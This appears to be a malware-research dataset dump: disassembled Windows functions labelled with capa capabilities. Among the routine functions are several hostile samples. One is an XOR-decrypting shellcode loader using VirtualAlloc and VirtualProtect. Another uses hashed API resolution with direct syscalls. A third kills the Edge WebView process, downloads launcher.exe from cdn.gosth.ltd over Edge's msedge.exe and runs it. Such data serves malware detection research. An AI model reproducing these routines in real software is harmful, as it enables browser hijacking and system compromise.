joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180021c30
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x90], 0x40000000
jbe 0x180021c91
mov rax, qword [rsp + 0x90]
sub rax, 0x40000000
cmp qword [rsp + 0x30], rax
jae 0x180021c91
mov rax, qword [rsp + 0x90]
sub rax, 0x40000000
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x90]
add rax, 0x40000000
cmp qword [rsp + 0x28], rax
jbe 0x180021cb9
mov rax, qword [rsp + 0x90]
add rax, 0x40000000
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
sub rax, 0xfff
mov qword [rsp + 0x28], rax
mov rax, qword [0x18006ea10]
mov qword [rsp + 0x20], rax
jmp 0x180021ce4
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x180021d1e
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x20], rax
jb 0x180021d04
mov rax, qword [rsp + 0x28]
cmp qword [rsp + 0x20], rax
jb 0x180021d06
jmp 0x180021cd7
mov rax, qword [rsp + 0x20]
cmp qword [rax + 8], 0
je 0x180021d1c
mov rax, qword [rsp + 0x20]
jmp 0x180021e90
jmp 0x180021cd7
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
jb 0x180021d87
mov r8d, dword [rsp + 0x78]
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
call fcn.180021a30
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x180021d5a
jmp 0x180021d87
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1000
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x180021d85
jmp 0x180021d87
jmp 0x180021d2b
cmp qword [rsp + 0x20], 0
jne 0x180021df8
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x28]
cmp qword [rsp + 0x40], rax
ja 0x180021df8
mov r8d, dword [rsp + 0x78]
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x40]
call fcn.180021b10
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x180021dcb
jmp 0x180021df8
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1000
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x180021df6
jmp 0x180021df8
jmp 0x180021d9c
cmp qword [rsp + 0x20], 0
je 0x180021e8b
mov rax, qword [rsp + 0x20]
add rax, 0x40
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov qword [rax + 8], 0
mov rax, qword [rsp + 0x20]
mov dword [rax + 0x10], 0
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x20]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x48]
add rax, 0x40
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
sub rcx, rax
mov rax, rcx
cmp rax, 0xfc0
jbe 0x180021e2b
mov rax, qword [rsp + 0x20]
mov rcx, qword [0x18006ea10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x20]
mov qword [0x18006ea10], rax
mov rax, qword [rsp + 0x20]
add rsp, 0x88
ret
Function at 0x180022630
Capabilities:
Check for software breakpoints

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x20]
movzx eax, byte [rcx + rax]
test eax, eax
je 0x180022689
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x20]
movzx eax, byte [rcx + rax]
cmp eax, 0x90
je 0x180022689
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x20]
movzx eax, byte [rcx + rax]
cmp eax, 0xcc
je 0x180022689
xor eax, eax
jmp 0x1800226d0
mov dword [rsp], 1
jmp 0x18002269a
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
mov eax, dword [rsp + 0x28]
cmp dword [rsp], eax
jae 0x1800226cb
mov eax, dword [rsp]
mov rcx, qword [rsp + 0x20]
movzx eax, byte [rcx + rax]
mov ecx, 1
imul rcx, rcx, 0
mov rdx, qword [rsp + 0x20]
movzx ecx, byte [rdx + rcx]
cmp eax, ecx
je 0x1800226c9
xor eax, eax
jmp 0x1800226d0
jmp 0x180022692
mov eax, 1
add rsp, 0x18
ret
Function at 0x1800237b8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1800237f2
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1800237f7
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x180023840
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1800438b0]
cmp byte [rcx + rax], 0
je 0x180023840
dec r8
sub rdx, 1
jne 0x180023826
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x1400111ef
Capabilities:
Terminate process

Disassembly:
jmp 0x140012ee0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011267
Capabilities:
Execute command

Disassembly:
jmp 0x140011830
push rbp
push rsi
push rdi
sub rsp, 0x220
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x50
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001d278]
xor rax, rbp
mov qword [rbp + 0x1f8], rax
lea rcx, [0x1400220f5]
call fcn.14001136b
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.VirtualAlloc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 8], rax
mov eax, dword [0x14001d200]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [rbp + 8]
mov qword [rbp + 0x28], rax
lea rax, [rbp + 0x48]
lea rcx, str.jikoewarfkmzsdlhfnuiwaejrpaw
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1d
rep movsb byte [rdi], byte [rsi]
lea rax, section..data
mov qword [rbp + 0x88], rax
mov dword [rbp + 0xa4], 0
jmp 0x1400118ec
mov eax, dword [rbp + 0xa4]
inc eax
mov dword [rbp + 0xa4], eax
mov eax, dword [0x14001d200]
cmp dword [rbp + 0xa4], eax
jae 0x140011954
movsxd rax, dword [rbp + 0xa4]
lea rcx, section..data
movzx eax, byte [rcx + rax]
mov dword [rbp + 0x1f4], eax
movsxd rcx, dword [rbp + 0xa4]
xor edx, edx
mov rax, rcx
mov ecx, 0x1c
div rcx
mov rax, rdx
movsx eax, byte [rbp + rax + 0x48]
mov ecx, dword [rbp + 0x1f4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rbp + 0x88]
mov byte [rcx], al
mov rax, qword [rbp + 0x88]
inc rax
mov qword [rbp + 0x88], rax
jmp 0x1400118de
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0xc8], rax
mov dword [rbp + 0xe4], 0
jmp 0x140011979
mov eax, dword [rbp + 0xe4]
inc eax
mov dword [rbp + 0xe4], eax
mov eax, dword [0x14001d200]
cmp dword [rbp + 0xe4], eax
jae 0x1400119b5
movsxd rax, dword [rbp + 0xe4]
lea rcx, section..data
mov rdx, qword [rbp + 0xc8]
movzx eax, byte [rcx + rax]
mov byte [rdx], al
mov rax, qword [rbp + 0xc8]
inc rax
mov qword [rbp + 0xc8], rax
jmp 0x14001196b
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.VirtualProtect
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x128], rax
mov eax, dword [0x14001d200]
lea r9, [rbp + 0x104]
mov r8d, 0x20
mov edx, eax
mov rcx, qword [rbp + 0x28]
call qword [rbp + 0x128]
call qword [rbp + 0x28]
lea rcx, str.pause
call qword [sym.imp.ucrtbased.dll_system]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ac40]
call fcn.140011307
mov eax, edi
mov rcx, qword [rbp + 0x1f8]
xor rcx, rbp
call fcn.1400111ae
lea rsp, [rbp + 0x200]
pop rdi
pop rsi
pop rbp
ret
Function at 0x140011271
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014230
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014250
xor al, al
jmp 0x1400142d1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014263
xor al, al
jmp 0x1400142d1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001428d
xor al, al
jmp 0x1400142d1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400142a1
xor al, al
jmp 0x1400142d1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400142b3
xor al, al
jmp 0x1400142d1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400142cf
xor al, al
jmp 0x1400142d1
mov al, 1
add rsp, 0x38
ret
Function at 0x140001000
Capabilities:
Check os version
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xf0
mov rax, qword [0x140004040]
xor rax, rsp
mov qword [rbp + 0x4f], rax
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
test rax, rax
je 0x140001210
cmp dword [rax + 0x118], 0xa
jne 0x140001210
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x20]
mov eax, 0x5a4d
mov rdi, qword [rcx]
mov rcx, qword [rdi + 0x20]
cmp word [rcx], ax
jne 0x140001210
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140001210
mov ebx, dword [rax + rcx + 0x88]
add rbx, rcx
je 0x140001210
xorps xmm0, xmm0
lea r8, [rbp - 0x39]
movabs rax, 0xf5bd373480a6b89b
mov rdx, rbx
movups xmmword [rbp - 0x39], xmm0
mov qword [rbp - 0x31], rax
movups xmmword [rbp - 0x29], xmm0
movups xmmword [rbp - 0x19], xmm0
movups xmmword [rbp - 9], xmm0
movups xmmword [rbp + 7], xmm0
movups xmmword [rbp + 0x17], xmm0
call fcn.140001240
test eax, eax
je 0x140001210
mov rcx, qword [rdi + 0x20]
lea r8, [rbp - 9]
movabs rax, 0x64dc7db288c5015f
mov rdx, rbx
mov qword [rbp - 1], rax
call fcn.140001240
test eax, eax
je 0x140001210
mov rcx, qword [rdi + 0x20]
lea r8, [rbp - 0x21]
movabs rax, 0x858bcb1046fb6a37
mov rdx, rbx
mov qword [rbp - 0x19], rax
call fcn.140001240
test eax, eax
je 0x140001210
mov rcx, qword [rdi + 0x20]
lea r8, [rbp + 0xf]
movabs rax, 0xc6a2fa174e551bcb
mov rdx, rbx
mov qword [rbp + 0x17], rax
call fcn.140001240
test eax, eax
je 0x140001210
movzx ecx, word [rbp - 0x29]
xor ebx, ebx
mov qword [rbp + 0x27], rbx
mov qword [rbp + 0x3f], 1
call fcn.1400013a0
lea r9, [rbp + 0x3f]
mov dword [rsp + 0x28], 4
xor r8d, r8d
mov dword [rsp + 0x20], 0x1000
lea rdx, [rbp + 0x27]
lea rcx, [rbx - 1]
call fcn.1400013b1
mov rax, qword [rbp + 0x27]
movzx ecx, word [rbp - 0x11]
mov byte [rax], bl
mov dword [rbp + 0x37], ebx
call fcn.1400013a0
lea rax, [rbp + 0x37]
lea r9d, [rbx + 0x20]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x3f]
lea rdx, [rbp + 0x27]
lea rcx, [rbx - 1]
call fcn.1400013b1
movzx ecx, word [rbp + 7]
mov qword [rbp + 0x2f], 0xffffffffffffffff
call fcn.1400013a0
mov rax, qword [rbp + 0x27]
lea r9, [rbx - 1]
mov qword [rsp + 0x50], rbx
lea rcx, [rbp + 0x2f]
mov qword [rsp + 0x48], rbx
xor r8d, r8d
mov qword [rsp + 0x40], rbx
mov edx, 0x1fffff
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
call fcn.1400013b1
movzx ecx, word [rbp + 0x1f]
mov qword [rbp + 0x47], 0xffffffffff676980
call fcn.1400013a0
mov rcx, qword [rbp + 0x2f]
lea r8, [rbp + 0x47]
xor edx, edx
call fcn.1400013b1
xor eax, eax
jmp 0x140001215
mov eax, 1
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.1400013d0
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret

Function at 0x1400013b1
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, dword [section..data]
syscall
ret
Function at 0x140011ba0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x140011bc1
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x140011bee
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140011bf0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140011c49
test ecx, ecx
jle 0x140011c29
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140011c49
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140011c49
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
add byte [rax], al
add bh, bh
add byte [rax], al
add bh, bh
add byte [rax], al
add bh, bh
add byte [rax], al
add bh, bh
add byte [rax], al
add bh, bh
add al, 0
add edi, edi
Function at 0x140011c70
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140011ca1
xor eax, eax
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
je case.default.0x140011cb8
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x30], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140011cdb
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140011cdd
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140011d19
mov qword [rsp + 0x38], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x38]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140011dae
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140011d54
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x140011d8e
nop dword [rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x140011dae
cmp rbx, rax
ja 0x140011d60
test rbx, rbx
je 0x140011dae
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
mov rsi, qword [rsp + 0x48]
sub rbp, rbx
mov rbx, qword [rsp + 0x30]
mov rax, rbp
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
xchg esp, eax
Function at 0x140005f60
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x270
mov rax, qword [0x140134040]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140005fcb
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140012040
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400121f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea eax, [rdi + 2]
jmp 0x140006083
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140006078
mov qword [rsp + 0x280], rsi
lea rsi, str.msedgewebview2.exe
nop dword [rax + rax]
lea rdx, [rsp + 0x4c]
mov rax, 0xffffffffffffffff
nop dword [rax]
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [rsi + rax*2 + 2]
jne 0x14000605e
add rax, 2
cmp rax, 0x13
je 0x140006032
movzx ecx, word [rdx + rax*2]
cmp cx, word [rsi + rax*2]
je 0x140006010
jmp 0x14000605e
mov r8d, dword [rsp + 0x28]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14000605e
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140006000
mov rsi, qword [rsp + 0x280]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1400bb6f0
mov rbx, qword [rsp + 0x288]
add rsp, 0x270
pop rdi
ret
Function at 0x140007a70
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x290
mov rax, qword [0x140134040]
xor rax, rsp
mov qword [rsp + 0x280], rax
xor edx, edx
mov rbx, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140007ac9
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x140007ad0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140007bba
mov qword [rsp + 0x2a0], rdi
xor edi, edi
nop word [rax + rax]
xorps xmm0, xmm0
mov qword [rsp + 0x30], rdi
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x38], rdi
lea rax, [rsp + 0x6c]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], di
jne 0x140007b00
lea rdx, [rsp + 0x6c]
lea rcx, [rsp + 0x20]
call fcn.140012ba0
cmp qword [rbx + 0x18], 7
mov rax, rbx
jbe 0x140007b26
mov rax, qword [rbx]
mov r10, qword [rsp + 0x38]
lea r8, [rsp + 0x20]
mov r9, qword [rsp + 0x20]
cmp r10, 7
mov rdx, qword [rsp + 0x30]
cmova r8, r9
cmp rdx, qword [rbx + 0x10]
jne 0x140007bdb
test rdx, rdx
je 0x140007b68
sub r8, rax
movzx ecx, word [r8 + rax]
cmp cx, word [rax]
jne 0x140007bdb
add rax, 2
sub rdx, 1
jne 0x140007b54
mov edi, dword [rsp + 0x48]
cmp r10, 7
jbe 0x140007ba7
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x140007b9f
mov r9, qword [r9 - 8]
add rdx, 0x27
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007c2d
mov rcx, r9
call fcn.1400bb710
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov rdi, qword [rsp + 0x2a0]
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.1400bb6f0
mov rbx, qword [rsp + 0x2a8]
add rsp, 0x290
pop rsi
ret
cmp r10, 7
jbe 0x140007c12
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x140007c0a
mov r9, qword [r9 - 8]
add rdx, 0x27
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007c2d
mov rcx, r9
call fcn.1400bb710
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140007ae0
jmp 0x140007ba7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x14000c770
Capabilities:
Create process on windows
Create thread
Download url
Receive data

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x110
mov rax, qword [0x140134040]
xor rax, rsp
mov qword [rsp + 0x100], rax
mov rbx, rcx
xor edi, edi
mov byte [0x140141ec8], 1
call fcn.140005f60
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, str.C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe
lea rdx, str.https:__cdn.gosth.ltd_launcher.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x14000c813
lea rdx, str.Download_de
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011e60
mov rcx, rax
lea rdx, str.https:__cdn.gosth.ltd_launcher.exe
call fcn.140011e60
mov rcx, rax
lea rdx, str._para
call fcn.140011e60
mov rcx, rax
lea rdx, str.C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe
call fcn.140011e60
mov rcx, rax
lea rdx, [0x140119ef0]
call fcn.140011e60
jmp 0x14000c829
mov r8d, eax
lea rdx, str.https:__cdn.gosth.ltd_launcher.exe
lea rcx, str.Falha_no_download_de__s._C
call fcn.140002520
mov dword [rsp + 0x90], 0x68
xorps xmm0, xmm0
movups xmmword [rsp + 0x98], xmm0
movups xmmword [rsp + 0xa8], xmm0
movups xmmword [rsp + 0xb8], xmm0
movups xmmword [rsp + 0xc8], xmm0
movups xmmword [rsp + 0xd8], xmm0
movups xmmword [rsp + 0xe8], xmm0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14000c936
mov ecx, 8
call fcn.1400bb718
lea rcx, [0x140006a30]
mov qword [rax], rcx
mov qword [rsp + 0x80], rax
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x140014e80]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x50], rax
test rax, rax
je 0x14000c983
cmp dword [rsp + 0x58], 0
je 0x14000c977
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x80], xmm0
lea rcx, [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14000c977
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rbx]
mov byte [rax + 0x77], 1
mov rax, qword [rbx]
mov byte [rax + 0x76], 0
mov byte [0x140141ec8], 0
mov rcx, qword [rsp + 0x100]
xor rcx, rsp
call fcn.1400bb6f0
mov rbx, qword [rsp + 0x128]
add rsp, 0x110
pop rdi
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x58], edi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3